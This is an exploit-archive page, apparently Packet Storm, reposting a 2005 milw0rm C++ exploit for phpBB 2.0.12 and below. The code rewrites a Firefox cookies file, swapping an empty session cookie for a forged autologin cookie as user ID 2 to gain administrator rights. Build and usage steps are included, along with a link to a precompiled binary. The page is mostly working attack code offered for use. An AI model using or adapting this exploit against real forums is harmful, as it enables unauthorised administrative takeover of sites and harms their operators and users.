what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

897.cpp

897.cpp
Posted Mar 30, 2005
Site milw0rm.com

phpBB versions 2.0.12 and below Change User Rights authentication bypass exploit.

tags | exploit
SHA-256 | 49b95a2b8882c99a45d27963477f2fa9d92b975c42322da9b1635fcc4ee30c68

897.cpp

Change Mirror Download
/* Paisterist's code was nice but heres mil's version.
* precompiled: http://www.milw0rm.com/sploits/897.rar
* Usage:
* bcc32 897.cpp
* and place the exe in your firefox profile dir.
* Usually C:\Documents and Settings\Application Data\Mozilla\Firefox\Profiles\something.default
* Visit a site with phpbb, close the browser, double click the exe, browse site.
* This gives anonymous users administrator rights only.
* Ya its lame im bored kthnx. If something goes wrong clear cookies.
*
* /str0ke
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

//Taken from VeNoMouS's love cow code
char *search_and_replace (char *text, char *find, char *replace)
{
char *found,*new_text;
int
len_find=strlen(find),len_replace=strlen(replace),len_text=strlen(text),i=0,j=0;

if((new_text=(char*)malloc(len_text+len_replace-len_find+1))==NULL)
{
printf("malloc issue...\n");
return new_text;
}
found = strstr(text, find);
while (i <= len_text)
{
if ( found != text + i )
{
new_text[j] = text[i];
i++;
j++;
}
else
{
strcat (new_text, replace);
i += len_find;
j += len_replace;
found = strstr (text + i, find);
}
new_text[j] = '\0';
}
return new_text;
}

int main()
{
FILE * pFile;
long lSize;
char * buffer;

pFile = fopen ( "cookies.txt" , "r" );
if (pFile==NULL) exit (1);

fseek (pFile , 0 , SEEK_END);
lSize = ftell (pFile);
rewind (pFile);

buffer = (char*) malloc (lSize);
if (buffer == NULL) exit (2);
fread (buffer,1,lSize,pFile);
fclose (pFile);

pFile = fopen ( "cookies.txt" , "w" );
fputs(search_and_replace((char *)buffer,"a%3A0%3A%7B%7D","a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D"), pFile);
fclose (pFile);
free (buffer);
return 0;

}

// milw0rm.com [2005-03-24]
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close